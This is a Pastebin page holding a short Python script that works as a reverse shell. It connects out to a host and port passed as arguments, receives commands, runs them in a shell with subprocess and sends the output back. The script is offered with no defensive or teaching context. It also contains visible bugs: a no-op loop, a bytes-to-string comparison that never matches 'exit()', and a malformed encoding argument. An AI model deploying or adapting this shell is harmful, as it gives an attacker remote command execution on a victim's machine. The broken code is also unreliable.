Advertisement
Guest User

código

a guest
Dec 15th, 2017
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.75 KB | None | 0 0
  1. import socket, subprocess as sp, sys
  2.  
  3. host = str(sys.argv[1])
  4. port = int(sys.argv[2])
  5.  
  6. conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7. conn.connect((host,port))
  8. conn.send(bytes('Conectado >>', 'utf-8'))
  9.  
  10. while 1:
  11.     recvd = conn.recv(1024)
  12.  
  13.     for c in recvd:
  14.         format(c, "02X")
  15.  
  16.  
  17.     command = str(recvd)
  18.  
  19.     if command != "exit()":
  20.         proc = sp.Popen(command, shell=True, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)
  21.         saida = proc.stdout.read() + proc.stderr.read()
  22.  
  23.         out, err = proc.communicate()
  24.         result = str(out) + str(err)
  25.         length = str(len(result)).zfill(16)
  26.         c = conn.send(bytes(result + length, '\n' 'utf-8'))
  27.         print(c)
  28.  
  29.  
  30.     else:
  31.         break
  32.  
  33. conn.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement